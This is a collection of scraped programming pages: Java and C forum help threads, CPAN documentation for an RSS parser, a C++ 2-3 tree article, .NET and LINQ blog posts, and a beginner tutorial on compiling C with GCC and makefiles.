I'm pretty sure the for loop will roll the dice and extra time, so if diceCount was 4, it would roll 5 times because you put less than OR equal to diceCount, it should only be less then. The...
Why do you have an array that stores 1 number?
So basically you want to make a class that simulates a dice being rolled?
I think you're overcomplicating the whole thing, it doesn't have to be as complicated as you make it out to be, just think...
Ohh sorry, I'm very new to this forum and I thought "spoonfeeding" was okay. It won't happen again, as of this point.
If you want me to explain and write those programs for you, please add my email and we'll go on Teamviewer in which I can explain each line to you while writing it. For my email, PM me.
Alright I know I'm kind of late, but I just did this assignment yesterday, didn't find it very difficult.
package AircraftSeats;
import java.util.Scanner;
import java.util.LinkedList;
...
Just use something like this:
public static void main(String args[]){
Scanner input = new Scanner(System.in);
System.out.println("Enter the destination file name");
String dest =...
Yeah I don't really understand what you're trying to do either. Please elaborate more.
Honestly, I think it is the same problem. Same type of problem, and same user who's posting it.
Instead of using arrays, try using a LinkedList:
LinkedList<Integer> numbers1 = new LinkedList<Integer>();
LinkedList<Integer> numbers2 = new LinkedList<Integer>();
while(true){...
Why don't you just:
int number = 1+new Random().nextInt(56);
Seems alot simpler, doesn't it?
Uhm, I know this might be the wrong place for a question like this, but I couldn't find any type of threads that suited the question I'm about to ask as much as this one. So, the question is:
I'm...
You need to add some methods if you physically want to keep track of all the Nodes. First of all, you need a LinkedList which accepts Nodes' so you can keep track of every single node and a variable...
There's a different between the methods '.next()' and '.nextLine()'. "Next" only reads up until a space a line break occurs, next line keeps reading until the file has ended. What you wanna do is...
String input = new Scanner(System.in).next();
boolean contains = false;
for(String w : words){
if(input.equalsIgnoreCase(w)){
contains = true;
break;
}
}
if(contains){...
If you want a collection that automatically sorts it in alphabetical order each time you add a new element to the list, try using a TreeSet. ( TreeSet<String> treeset = new TreeSet<String>(); ) Each...
If you wanna merge 2 lists, why dont you just use:
Collections.copy(destinationList, sourceList);
In your for loop, "count" & "quantity" is not initialized.
Well, what are you trying to do in the first place? It'd be a lot more helpful if we knew the reason behind what the code actually does.
EDIT: And well, line 53 just sets each element to "Random",...
I'm not really sure what you're trying to say, but if you're saying something like keeping track of ALL the Employee objects which are created, then you can use a list. Something like this:
...
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https://www.javaprogrammingforums.com/search.php?s=5915c5ac12c0a51675ea979c39117a83&searchid=2649541
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In this code:
~/usr/share/dict/word
binary_search(string* dictionary, string key)
key
"��tudes"
#include <stdio.h>
#include <cs50.h>
#include <string.h>
#define MAX 99171
// Prototype //
int binary_search(string*, string);
int main(int argc, string argv[])
{
// Attributes //
string dictionary[MAX];
FILE* dictionaryFile = fopen("words", "r");
char output[256];
string key = argv[1];
// Check if their is a problem while reading the file //
if (dictionaryFile == NULL)
{
// If everything got fouled up then close the file //
fclose(dictionaryFile);
printf("couldn't read the file!!!\n");
return 1;
}
// storing the information into an array to make it easy to read //
for(int i = 0; i < MAX; i++)
{
fgets(output, sizeof(output), dictionaryFile);
dictionary[i] = output;
}
// Binary Search a word //
if(binary_search(dictionary, key) == 1)
{
printf("word was found !!!\n");
}
else if(binary_search == 0)
{
printf("word was not found !!!\n");
}
// If Everything goes just fine close the file //
fclose(dictionaryFile);
return 0;
}
// implementing prototype //
/**
@arag dictionary
a string of english words
@arg key
a key we looking for
@return
0 if didn't find the key and 1 otherwise
*/
int binary_search(string* dictionary, string key)
{
// pointer to the start and the end of the array //
int start = 0;
int end = MAX - 1;
int mid;
// while end is greater than the start //
while (end > start)
{
// Get The Middle Element //
mid = (start + end) / 2;
printf("%s\n", dictionary[mid]);
// Check if the middle elemenet //
if (strcmp(key, dictionary[mid]) == 0)
{
return 1;
}
// Check the left half //
else if(strcmp(key, dictionary[mid]) < 0)
{
end = mid - 1;
}
// Check the right half //
else if (strcmp(key, dictionary[mid]) > 0)
{
start = mid + 1;
}
}
// didn't find the key //
return 0;
}
The cs50.h library is made by Harvard as a training wheel for beginners.
If so, these training wheels are mounted upside down and don't touch the ground. I can't tell from your link, but I think that
typedef char *string;
is part of the
cs50 suite. But there are no strings in C; the expression is used loosely to mean an array of chars that is terminated with a null character,
'\0'.
The above definition of
string has led you to believe that string is a proper type whose memory is automatically handled. It isn't. In your program there is place for one string, namely the array
char output[256];
The "strings" in your dictionary are just pointers; they are supposed to point to existing char arrays or to be
NULL. By assigning
dictionary[i] = output;
you make all strings in your dictionary equal to the temporary buffer
output. That buffer is overwritten in each line you read and will contain only the last line you've read, maybe
"zulu".
You can confirm this by printing out the dictionary after you have read it. You should print it in a separate loop, not in the same loop where you read it to see the effect.
You can fix this by declaring your array of pointers as an array of arrays of char:
char dictionary[MAX][LEN];
where
LEN is a suitable maximum length for words, say 24. (The problem here might be that the allocated memory,
MAX * LEN bytes may not fit onto the stack. In that case, you must allocate the memory on the heap with
malloc. I'm not going to open that can of worms here. If you get a segmentation violation immediately, try reducing
MAX at the cost of reading only a part of the dictionary.)
When you read the words, you must copy the contents:
fgets(output, sizeof(output), dictionaryFile); strncpy(dictionary[i], output, sizeof(dictionary[i]);
or, better yet, read the next word directly into the dictionary:
fgets(dictionary[i], sizeof(dictionary[i]), dictionaryFile);
Unfortunately,
fgets retains the newline at the end, so that it reads
"word\n" instead of
"word". You must remove the newline or the strings won't match the input, which comes from the command line via
argv, which has no trailing newlines.
There are several ways to chomp off the unwanted newline. An easy one is to tokenise the string with a newline as separator:
strtok(dictionary[i], "\n");
Another problem is that with the new definition of
dictionary, your signature for
binary_search is wrong. You don't have an array of pointers to char anymore, you have an array of arrays of 24 (or so, a fixed number anyways) chars. Change it to:
int binary_search(char dictionary[][LEN], const char *key)
In C, if you have arrays of arrays (of arrays, even), all but the topmost dimension must be known, so that the compiler can lay out the memory.
There are other (rather minor) problems:
fclosethe file if it couldn't be opened. Bu when the file is
NULL, you don't have an open file to close; just exit.
fgets; it returns
NULLwhen the file has run out.
MAXis a good way to estimate the number of words, but you should keep the actual number of words read in a variable. Make sure that you don't access more words than you have read and make sure that you don't write beyond the memory that you have allocated, i.e. don't read more than
MAXwords.
binary_searchfunction.
else if(binary_search == 0). First,
elsealeady means that the binary search didn't return 1 (which was the condition the
elserefers to) and the binary search can return only 0 and 1, so there's no need for another condition. Second,
binary_searchis only the address of the function, not a result; the consition as written above will always be true.
strcmpcalls in the binary search function: You do three comparisons. The outcomes you check are mutually exclusive, so the last condition can be just
else. (Because
strcmpdoes a character-by-character comparison every time, it might be worth calling
strcmpjust once per word and store the result.)
The
string data type in the
cs50 header is meant to provide an easy means to read in strings without having to care about the memory. Once you start creating more complex (aka real-life) data structures, it is better to use
char arrays and pointers. There's no way around this anyway and you get to see what each piece of data is.
I'm sorry that my answer looks like a laundry list of errors. C's string handling is not very easy for beginners, especially not if you have already experience in higher-level languages. The good thing is that when you understand C strings, you already know a lot about how things are done in C in general.
|
https://codedump.io/share/k9gT91RzpGhl/1/binary-searching-a-dictionary-of-words
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XML::RSS:Parser - A liberal object-oriented = $p->parse($ua->request($req)->content); # output some values my $title = XML::RSS::Parser->ns_qualify('title',$feed->rss_namespace_uri); print $feed->channel->type.": ".$feed->channel->element($title)->value."\n"; print "item count: ".$feed->item_count()."\n"; foreach my $i ( @{ $feed->items } ) { foreach ( keys %{ $i->element } ) { print $_.": ".$i->element($_)->value."\n"; } print "\n"; } # data dump of the feed to screen. my $d = Data::Dumper->new([ requirements is that the file is well-formed XML and remotely resembles RSS.::Feed is a simple object that holds the results of a parsed RSS feed.
Constructor for XML::RSS::Parser::Feed. Returns a reference to a XML::RSS::Parser::Feed object. in the feed.
Gets/sets a XML::RSS::Parser::Block object assumed to be of type channel.
Gets/Sets an ARRAY reference of XML::RSS::Parser::Block objects assumed to be of type item.
Returns an integer representing the number of items in the feed object.
Gets/Sets a XML::RSS::Parser::Block object assumed to be of type image.
Appends a XML::RSS::Parser::Block assumed to be of type item to the feed's array of items.
XML::RSS::Parser::Block is an object that holds the contents of a RSS block. Block objects can be of type channel, item or image. Block objects maintain a stack and a mapping of objects to their namespace qualified element names.
Constructor for XML::RSS::ParserBlock. Optionally can specify the type of the block via a SCALAR in addition to any attributes via a HASH reference. Returns a reference to a XML::RSS::Parser::Block object.
Appends a XML::RSS::Parser::Element object to the block stack and element mapping.
Gets/Sets a reference to a HASH containing the attributes for the block.
The element method is similar to CGI->param method. If the method is called with a SCALAR representing a namespace qualified element name it will return all of the XML::RSS::Parser::Element objects of that name in an ARRAY context. If called in with a namespace qualified element name in s SCALAR context it will return the first XML::RSS::Parser::Element object. If the method is called without a parameter a HASH reference. This HASH reference in a mapping of namespace qualified element names as keys and a reference to an ARRAY of 1 or more cooresponding Element objects.
Returns an ARRAY of XML::RSS::Parser::Element objects representing the processing stack.
Gets/Sets the type of block via a SCALAR. Assumed to be either channel, item, or image.
Test whether the object is of a certain type. Returns a boolean value.
XML::RSS::Parser::Element is an object that represents one tag or tagset in an RSS block.
Constructor for XML::RSS::ParserBlock. Optionally can specify the type of the block, namespace qualified element name and value via SCALARs in addition to any attributes via a HASH reference. Returns a reference to a XML::RSS::Parser::Element object.
Gets/Sets a reference to a HASH containing the attributes for the block.
Gets/Sets the namespace qualified element name via a SCALAR.
Gets/Sets the type of block via a SCALAR. Assumed to be either channel, item, or image.
Test whether the object is of a certain type. Returns a boolean value.
Gets/Sets the value of the element via a SCALAR.
Appends the value of the passed parameter to the object current value.
XML::Parser,,,,
The software is released under the Artistic License. The terms of the Artistic License are described at.
Except where otherwise noted, XML::RSS::Parser is Copyright 2003, Timothy Appnel, self@timaoutloud.org. All rights reserved.
|
http://search.cpan.org/~tima/XML-RSS-Parser-1/Parser.pm
|
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Hi all, i am trying to write a program to help me manage word lists, basically just merge 2 word lists together, and filter out the double words...
but one problem i can see coming is that some word lists can be quite large, some up to several gigabytes, normally when i have written programs to manipulate data i have been working with databases which are tiny in comparison. so i really have no idea on how to handle such large amounts of data.
below i have posted what i have done so far... where the words out of the word list are stored in the string array called temp. but as you can see it isn't vary practical at all... any suggestion on how i could get around this problem???
Code:#include <cstdlib> #include <iostream> #include <fstream> using namespace std; int main(int argc, char *argv[]) { string temp[100]; ifstream wordlist_in; wordlist_in.open (argv[1]); if (wordlist_in.is_open()) { for (int i=0;;i++) { getline (wordlist_in, temp[i]); if (wordlist_in.eof()) { break; } } } return EXIT_SUCCESS; }
|
http://cboard.cprogramming.com/cplusplus-programming/104843-alternate-array.html
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- Key: CPP1111-11
- Legacy Issue Number: 18406
- Status: closed
- Source: gmail.com ( daniel.kruegler@gmail.com)
- Summary:
Section 6.5 (Table 6.1) loosely describes that the OMG IDL integer types are mapped to "a basic C++11 type" denoted by
int16_t int32_t int64_t uint16_t uint32_t uint64_t uint8_t
It doesn't really say, what these typedefs are supposed to be. Furthermore 6.5 (Table 6.2) describes the names
int16_t int32_t int64_t uint16_t uint32_t uint64_t uint8_t
as "keywords from the C++11 specification (ISO/IEC 14882:011)".
Surely there are no such keywords in C++11 inherits from the C99 library specification are the typedefs
std::int16_t std::int32_t std::int64_t std::uint16_t std::uint32_t
std::uint64_t std::uint8_t
from header <cstdint>, but those are not keywords and they are library components that belong to namespace std. I think that the specification of the basic integer type mapping (6.5) intends to refer to these typedefs from <cstdint>, but this should be made clear in 6.5.
Also, section 6.30 should not declare them as C++11 names" or some such)
- Reported: CPP11 1.0b2 — Fri, 1 Feb 2013 05:00 GMT
-
- Disposition Summary:
Accepting this issue as proposed
- Updated: Fri, 6 Mar 2015 20:58 GMT
CPP1111 — Meaning of (u)intN_t types unclear
- Key: CPP1111-11
- OMG Task Force: IDL to C++11 1.1 RTF
|
https://issues.omg.org/issues/CPP1111-11
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/** An instance of class ComputerVirus represents a single computer virus. * It has several fields that one might use to describe a computer virus, * as well as methods that operate on these fields.*/ public class ComputerVirus { private String name; private char type; private int monthofDiscovery; private int idNumber; private int yearofDiscovery; private ComputerVirus predecessor; private int numberofVariations; /**Constructor: a new ComputerVirus. Parameters are, in order, the name of * the virus, the month and year of discovery, and what type of processor it infects. * The virus has no id number, its predecessor is not known, and it has no known * variations. Precondition: the month is in the range 1. .12, and the type of * processor is 'W' (windows), 'M' (Mac), or 'L' (Linux).*/ public ComputerVirus(String name, int month, int year, char type){ name=name; monthofDiscovery=month; yearofDiscovery=year; type=type; int idnumber; idNumber=-1; } /**Constructor: a new ComputerVirus. Parameters are, in order, the name of the virus,
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-
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https://www.coursehero.com/file/5799639/ComputerVirus/
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On most screens within your Windows Phone 7 application you might need to display your application name. This might be in a simple page or one that contains a Pivot or Panorama.
Standard Page
Pivot Page
Panorama Page
With the XAML that gets generated you can enter your application name for the respective page types as:
-twb
Hi, thanks for the blog, I really do like what/how you've done this, very DRY. But when I do exactly as you did (with very simple, out of the box, WP7 template with current tools) I get "'clr' is an undeclared prefix"
Any suggestions?
AHA! I was able to figure out I was missing this namespace which isn't/wasn't part of the default template.
xmlns:clr="clr-namespace:System;assembly=mscorlib"
Thank you for this, I just blogged about it (and of course gave you credit for the IP and inspiration! :>)
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http://www.thewolfbytes.com/2010/09/windows-phone-7-quick-tip.html
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This article provides a 2-3 tree implementation in the C++ language. The implementation is based on several articles found on the internet. These articles can be found in the references section, which also offers articles with an in-depth explanation of a 2-3 tree.
For the implementation I used a threaded tree. A threaded tree makes use of a parent pointer. This parent pointer makes it easier to move from a child node to its corresponding parent without using recursion. In addition, I used templates to enable the usage of different data types in the 2-3 tree.
A 2-3 tree is a multi-way search tree in which each node has two children (referred to as a two node) or three children (referred to as a three node). A two node contains one element. The left subtree contains elements that are less than the node element. The right subtree contains elements that are greater than the node element. However unlike a binary search tree a two node can have either no children or two children it cannot have just one child. A three node contains two elements, one designated as the smaller element and one designated as the larger element. A three node has either no children or three children. If a three node has children, the left subtree contains elements that are less than the smaller node element. The right subtree contains elements greater than the larger node element. The middle subtree contains elements that are greater than the smaller node element and less than the larger node element. Due to the self balancing effect of a 2-3 tree all the leaves are on the same level. A 2-3 tree of size N has a search time complexity of O(log N).
All insertions in a 2-3 tree occur at the leaves of the tree. The tree is searched to determine where the new element will go, then it is inserted. The process of inserting an element into a 2-3 tree can have a ripple effect on the structure of the rest of the tree. Inserting an element into a 2-3 tree can be divided into three cases.
Deleting elements from a 2-3 tree is also made up of three cases.
The project available for download includes a 2-3 tree implementation and test cases that illustrate the usage of the tree. The test cases are described in the document
TreeTestcases.pdf, which is included in the project. Extract the zip file into a directory, and its ready for use. The
CTree usage is straightforward. The only condition that should be met is that the key object supports the < and << operators because these two operators are used in the CTree class.
CTree
All tree functions are encapsulated in two template classes
CTree and CNode. Each of the tree functions has a comment block that describes what that function does. I am avoiding recursion functions in the tree to avoid stack overflow. So you will find all my code using while loops. Due to this the code becomes a little more complicated, especially in the print function.
CNode
To create a tree object, call the default constructor:
CTree<CMovie> *pMovieTree = new CTree<CMovie>();
In order for the CTree object to make the necessary key comparisons, the key object must implement the < operator.
class CMovie
{
inline bool operator< (const CMovie& rCMovie) const
{
return (strcmp(this->getTitle(), rCMovie.getTitle()) < 0);
};
}
int CTree<T>::TCompare(const T* const pT1, const T* const pT2) const
{
int iReturnCode = FAILURE;
if(*pT1 < *pT2)
{
iReturnCode = LESS;
}
else if(*pT2 < *pT1)
{
iReturnCode = GREATER;
}
else
{
iReturnCode = EQUAL;
}
return iReturnCode;
}
In order for the CTree object to print the key objects, the key object must also implement the << operator.
friend std::ostream& operator<< (std::ostream& out, CMovie& rCMovie)
{
out <<rCMovie.getTitle()<<";"<<rCMovie.getReleaseYear();
return out;
}
int insert(const T* const pKey)
int deleteItem(const T* const pKey)
const T* const find(const T* const)
int print(eTreeTraversal eTraversalMethod) const
int removeAll(void)
The sample project demonstrates various method calls to the tree. The resulting output is show in a console window. Executing one of the test cases produces the following output:
The tree stores (key) objects. These objects can embed key attributes (used for comparison) as well as data attributes. If we want to perform a search in the tree to find a specific object, a search object needs to be created with the comparison attributes set. The search object can then be passed to the find method, which then searches the tree and returns the object found. Examples on how to search the tree can be found in the demo project.
The templates used in the Tree classes are implemented in header files. Due to the usage of template variables, boolean flags are used to indicate which keys are set.
T m_tSmallKey;
T m_tBigKey;
bool m_bBigKeyIsSet;
bool m_bSmallKeyIsSet;
The code is well tested. A summary of the test cases used can be found in the included document
TreeTestcases.pdf. Improvements that can be made to the code include, displaying the tree in a graphical format instead of a windows console, optimizing the code for speed and improving the readability of the print.
|
http://www.codeproject.com/Articles/656056/2-3-tree-implementation-in-Cplusplus?fid=1843169&df=90&mpp=10&noise=1&prof=True&sort=Position&view=Quick&spc=Relaxed
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Since I have Orcas installed, one of the first things I decided to experiement with is LINQ. 2.0 adds great support for generic collections, but often I find looking for a particular item in one a total pain in the ass. Traditionally, your only options are to iterate over each item or use an anonymous method or something. Thanks to LINQ, this is now an easy task.
Let's start by looking at this simple class below.
public class MyClass
{
private int myInt;
private string myString;
public int MyInt
{
get { return myInt; }
set { myInt = value; }
}
public string MyString
{
get { return myString; }
set { myString = value; }
}
}
Then we'll add a few instances of this class to a generic collection.
List myList = new List();
myList.Add(new MyClass { MyInt = 1, MyString = "Blah 1" });
myList.Add(new MyClass { MyInt = 2, MyString = "Blah 2" });
myList.Add(new MyClass { MyInt = 3, MyString = "Blah 3" });
myList.Add(new MyClass { MyInt = 4, MyString = "Blah 4" });
Notice the use of the new object intiializer on the MyClass instantiation. So say you want to return all items where the value of MyInt is greater than or equal to 3. Before LINQ, you would probably be iterating manually through and emitting the contents into another list or who knows. Now, you can simply query it.
var = from myClass in myList
where myClass.MyInt > 2
select myClass;
Going line by line here. The first statement says where to get the data from, in this case the generic list myList. The value myClass is effectively an iterator and can be named anything (i.e.: i). The second line applies a where clause. MyInt (along with all other public properties) will be available for selection in IntelliSense through the use of reflection. The last line, tells it what to return. In this case, it returns the whole class. This could also be individual properties (i.e.: myClass.MyInt, myClass.MyString). In this case I am letting the return type be set implicilty using var. In reality the actual return type if IEnumerable.
Once you get the data queried, its easy to bind it to a grid or anything else.
GridView2.DataSource = neat2;
GridView2.DataBind();
Obviously this makes things easy. LINQ works on your own collections as well as directly against a database using LINQ to SQL. Is this necessarily the correct way to do things? Does it perform well? Will using LINQ deem you as a Cowboy Coder? Only time will tell.
Ok, well I finally got around to downloading all 6 GB worth of Visual Studio Orcas. I opted to do the regular install as opposed to the VPC image. As I have said in the past, I have used beta versions of previous Visual Studios and have never ran into any issues with compatibility or getting them uninstalled. Then again, some people aren't as daring as I am.
The only part I have really checked out so far is Web Applications. For the most part things are the same. After all there aren't any major changes in this version of the framework for ASP.NET aside from them adding AJAX natively. There are some minor differences in the IDE however. First thing that you will notice is when a page opens up, it is in the new Split View. This gives the ability to edit in either HTML mode or design mode at the same time. It automatically syncs up changes in either view as you are making them (although sometimes it doesn't and it wants you to click something). This I think is pretty neat. There is also a lot of new stuff for CSS but I have yet to really figure it out.
Another thing I had to try was the JavaScript IntelliSense. It works and it seems to work pretty well. This by far is a long awaited feature. This next feature may have been around in VS2005 but maybe not to this extent. You can now highlight a block of code and generate code metrics for just that block.
The last thing I want to point out is that when you create a new project/solution, there is now a dropdownlist where you select which version of the Framework to target (i.e.: 2.0, 3.0, or 3.5). This is very cool because you can take advantage of the new Orcas IDE feaures on your existing 2.0 projects.
I have just begun to take a look at the new features in the project. I will talk about more of them as I explore the product further.
In the past, to build a web part control in MOSS, you had no choice but to build a custom control inside a class library. That of course sucks because there is no design time support. Let's face it building complex composite controls using C# is a bad time. Well luckily, now there is something called Return of the SmartPart (not to be confused with CAB SmartParts). This nifty web part allows you to load any user control inside of a MOSS web part. On top of that, there is even one with ASP.NET AJAX support which automatically loads the necessry script manager.
Installation is pretty easy. Just follow the steps in the included document. Once installed you will be able to select it from the web part gallery. Then you just configure the properties to load the control that you want. One thing to note is that the SmartPart requires that the controls be located in a folder called UserControls off of the root. If the folder is not there, it throws an exception. A minor annoyance, but with the functionality it brings, that is tolerable.
So next time you need to build something in SharePoint go grab this and give it a try. Microsoft also plans on implmeneting something of their own, but now that this somebody else did the work for them, I don't think they are in a real hurry to do so.
Return of the SmartPart
Microsoft is finally working on an OR/M tool that looks pretty compelling called LINQ to SQL (previously DLINQ). Although it is data centric, out of the box, I think it supports some good features and is worth looking at. In the last week, Scott posted a series of articles on this, so I thought I would mention it here today. Instead of rehashing everything in those posts, I'll just point out a couple of features and you can go check it out for yourself. Then you can decide for yourself how it compares to other OR/M tools.
Out of the box it makes it really easy to design entity classes based upon an existing table structure. As expected, it automatically reads foreign keys to create relationships between your objects. It also has built in support for lazy loading. You can also easily specify your own stored procedures for doing inserts, updates, etc. Of course with all of this comes the ability to manipulate your entity classes using LINQ.
Take a look at the feature set and see what you think. It may be missing some things compared to other tools, but so far it looks extremely easy to use. Take a look at Scott's two posts on it and let us know your comments. My guess, is most people will like other tools better, but we'll see.
Using LINQ to SQL (Part 1)
Using LINQ to SQL (Part 2)
The final version of the IE Developer Toolbar has been released. Although this may not have quite everything that the developer toolbar does in Firefox, it is not bad. Specifically I like the way you select elements, can view the DOM, and see the styles applied (again yes I knew this was part of Firefox). By far the coolest feature I like is the Trace Style feature. After you select an element on the screen. Right click on any style and choose Trace Style. This will then take you to the exact place in the CSS where the style came from.
Go download it now. Chances are you will be using IE when developing something.
IE Developer Toolbar
So you finally got a project that is a good fit to use the ASP.NET 2.0 ProfileProvider for and you get all the entries needed in your web.config defined and now you are ready to use it. You open up the page where you intend to use your nice new profile class, start typing the letters P r o f only to realize the word Profile is not there. Why is this you wonder? You check the web.config and everything looks good, yet for some reason the Profile object is not there.
This is probably due to the fact that you are using a Web Application Project for whatever reason. The first thing to know about using WAPs is that they do not support dynamic compilation. The way the Profile object works behind the scens is by creating a ProfileCommon class dynamically using the properties you listed in the web.config. Since WAP doesn't support this, the Profile Object isn't there.
So what do you do? Obviously you can manually program against the ProfileInfo object, but who wants to do that. That removes half the fun of the new Profile functionality. Well after doing some research there is a workaround of sorts. There is a utility on gotdotnet (currently being phased out) called ASP.Net WebProfile Generator. This is a Visual Studio 2005 Add-in, that reads your properties in the Profile element of the Web.config and generates a class called WebProfile that you can use to access the Profile in a strongly typed manner. To create the class, simply right click on your Web.config and choose Generate WebProfile.
Imagine you have a Profile defined as the following.
<profile defaultProvider="MyProfileProvider">
<properties>
<add name="MyString" type="string" AllowAnonymous="true" />
<add name="MyInt" type="int32" AllowAnonymous="true" />
&/properties>
</profile>
In a web project, you would access the MyString property like this:
Profile.MyString = "Blah";
In a Web Application Project, you would access the MyString property like this:
WebProfile.Current.MyString = "Blah";
Here is the link download the ASP.NET Web Profile Generator.
ASP.NET Web Profile Generator
I have never really been a fan of the App_Code folder, but sometimes find it useful when prototyping something. Often however, I have wanted to know how to specify a type of something that is in the App_Code folder and did not know how. For example, maybe you have a custom ProfileProvider named MyProfileProvider sitting in your App_Code folder. How would you specify the path to that since there is no namespace probably and its not in an external assembly? Here is the syntax.
<providers>
<add name="MyProfieProvider" type="MyProfileProvider, __code" />
</providers>
Last
I am really surprised that it took me so long to make a post on this, but here it is. For the love of god, STOP USING HUNGARIAN NOTATION. You developers out there that still use it know who you are. For some reason you haven't noticed that your naming convention doesn't follow anything else that Microsoft is doing in their class libraries. Hungarian Notation has been considered bad form since the start of the .NET Framework and now is the time to learn the correct way to name variables.
To further prove my point, this article on MSDN states some common best practices. Guess what? "Do not use Hungarian notation" is listed right in the first paragraph. Other things that are recommended are using easily readable identifier names and to avoid using abbreviations or acronyms.
Lastly one thing to note is that they also recommend against using underscores and hyphens in variable names. I completely agree with this but I still often see private variables named in this manner in Microsoft code.
.NET Framework General Naming Conventions
I know not very many of you are using Vista to do your development work yet but I still highly recommend it for the simple fact that it allows you to have more than one web root now. Anyhow, If you have been working with Vista, you may have encountered the following error. "Unable to start debugging on the web server. An authentication error occurred while communicating with the web server. Please see Help for assistance." After searching through several blog posts, I finally found a solution that works, but it does make the site run in classic mode.
To resolve this, first make sure you have Windows Authentication installed in IIS (most likely you already do since you wouldn't have made it to this error likely in the first place). Next, go to your web site properties, click on Advanced Settings. Then click on your Application Pool and change the option to Classic ASP.NET AppPool. This should get you up and debugging in no time.
Also, if this error is not happening to you, as many other posts point out, be sure and run Visual Studio as an administrator (i.e. right click on icon and choose Run as Administrator).
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Coding Step 1 - Hello World and Makefiles
Articles in this series:
- Coding Step 0 - Development Environments
- Coding Step 1 - Hello World and Makefiles
- Coding Step 2 - Source Control
- Coding Step 3 - High-Level Requirements
- Coding Step 4 - Design
Step 0 discussed how to install GCC and the make utility with the expectation of writing and compiling your first C program. In this article, I discuss how to use those tools we installed last time. Specifically, how to use GCC to compile a C program and how to write a makefile to automate the process.
While there are many other tutorials out there covering roughly similar ground, I hope that you (a novice with some background in programming) find this tutorial to be more useful and approachable than other tutorials. In addition, my goal with this whole series is to teach the basics of a Unix-like development environment. I've found that the Unix approach to developing code produces efficient programmers with more autonomy and a broader understanding of all the various pieces that contribute to turning code into useful programs. If you've developed code before but never been able to break away from the chains of an IDE then this is the tutorial for you. Additionally, the development tools discussed here have been adapted to a wide variety of embedded systems. You can use some variant of GCC to compile code for a wide variety of processors: AVRs, MSP430s, ARMs of all sizes, PowerPC - you name it and there's probably a GCC compiler for it. Learning to use Unix-like development tools has direct applicability to developing code for embedded systems and will make you a fundamentally better programmer.
For learning how to compile C files, it's best to start simple. Hello World is the simplest C program imaginable:
#include <stdio.h> main ( ) { printf("Hello World!"); }
Because it’s so simple, it’s easy to verify that it’s working correctly: if you see ‘Hello World!’ printed when you run it, you can be sure you did everything correctly. The steps to compile it are verbose at first, but they'll become second nature as you work more with code.
Compiling a C File
(Note: these steps were written for Windows 7, but the same result can be achieved on nearly all versions of Windows with only minor changes to the steps).
Save the the above source code into a file called helloWorld.c in the root of the C: drive using your favorite text editor.
Open the Start menu and enter ‘cmd’ into the run dialog and hit enter:
Note: If you’re running on Windows Vista or above, you’ll have to run cmd.exe as administrator by right-clicking the cmd.exe entry:
Afterwards, agree to the UAC dialog that pops up.
This brings up a command prompt:
Type the following commands
cd C:\ ←-This will change the current directory to the root of the C: drive
dir *.c ←- This will show a listing of all of the files in the root of the C: drive with an extension of .c
The window should look something like this:
If you see something like this:
It means you didn’t save your text file in the right place.
To compile this file, type the following command:
gcc helloWorld.c
This command produces a new file in the root of the C: drive: a.exe
This is the default name given to a program compiled with GCC. To run the program, type the following command:
a.exe
You should see something like this:
That ‘Hello World!’ means it worked - congratulations!
Now, it’s kinda odd for a Hello World program to be called ‘a.exe’. Luckily, we can change this by telling GCC what the executable should be called with this command:
gcc helloWorld.c -o helloWorld.exe
You’ll run this one by typing:
<strong><strong> </strong></strong>helloWorld.exe
And your command window should look like this if everything went correctly:
Success!
Code Organization
Now programming is messy business. At this point you’ve got three files sitting in the root of your C: drive that weren’t there before. If the simplest C program imaginable leaves three files sitting around imagine the trash a more complex project will leave on your hard drive. Organization is key when coding, so I recommend picking a special directory to store all of your code projects, then giving each project its own directory underneath. I do this in my Dropbox so I can have quick access to all of my code across multiple computers. Each project directory gets its own organization scheme based on the one present in my article on project directory structure.
For this project I’ve created a ‘helloWorld’ project directory in my Dropbox and given it two subdirectories:
- src - All (one) of the source files are stored here.
- bin - The executable gets put here.
If you save your helloWorld.c file into the ‘src’ subdirectory for your helloWorld project, then open up another command prompt and enter a similar set of commands, you’ll get the same result:
Makefiles
You might have noticed that using the command line is a lot of typing - even for a simple C program. You might be wondering - are larger C programs simply impossible to work with?
No! Thanks to makefiles.
Basically, makefiles are a method of specifying 'recipes' for compiling source files into executables, object files, libraries and basically anything else you can think of. Makefiles automate the mundane and boring parts of compiling source files. They're actually a lot more versatile and complex than this, but for a programmer just starting off the primary thing a makefile will do is save you repetitive typing.
Let’s make a makefile to compile this source into the exe - start by saving this text as a file called ‘makefile’ in the helloWorld project directory:
all: gcc src/helloWorld.c -o bin/helloWorld.exe
Gotchas:
- ‘makefile’ has no extension - some text editors will try to put a .txt extension on it, so watch yourselves.
- The indent MUST be a tab character - not three or four spaces as some text editors use.
If you don’t use a real tab character you’ll get an error when you try to use the file (as I’ll show you below).
Once you’ve saved the file, type this in the command prompt to run make and then the helloWorld executable (assuming you're still in the directory you earlier created for the helloWorld project):
mingw32-make .\bin\helloWorld.exe
And you’ll get this result:
As I mentioned earlier, you’ll get an error like this if you didn’t use a real tab character in the file:
Some explanation is in order here. Typing ‘mingw32-make’ executes the make utility. The make utility will automatically look for a file called ‘makefile’ or ‘makefile.mak’ in the current directory. If it finds this file it will try to build the target called ‘all’. What’s a target? Let’s go back to the text of the makefile:
all: gcc src/helloWorld.c -o bin/helloWorld.exe
The first line is the name of the target: ‘all’ with a colon after it. The next line is tabbed to the right and contains the command needed to build the ‘all’ target. This is the same command that you used to type in manually to build the executable. This is how make works: commands build targets. A target can have more than one command - as long as they’re all tabbed it will execute them in order from top to bottom whenever it rebuilds the target. By default, make will always attempt to build the ‘all’ target if you don’t specify a different one. Makefiles can contain multiple targets which can be chosen from on the command line:
<strong><strong> mingw32-</strong></strong>make <target>
Thus, typing in either of the following:
mingw32-make mingw32-make all
will both run the same command - the first time because the ‘all’ target is assumed and the second time because the ‘all’ target is explicitly specified on the command line. Any target name can replace the ‘all’ on the command line.
Typically there are multiple targets in a makefile that you can specify via the command line. These targets can either be identifiers (the ‘all’ target is an identifier) or they can be file names. We can add a file target to the makefile by adding these lines at the end of the makefile:
bin\helloWorld.exe: gcc src/helloWorld.c -o bin/helloWorld.exe
Add these lines to the end of the makefile, save it and then type this at the command prompt:
<strong><strong> </strong></strong>mingw32-make bin\helloWorld.exe
And then you should get this result:
That’s pretty confusing for someone who’s never used make before. Luckily I’ve been around the block a few times. Here’s what’s happening:
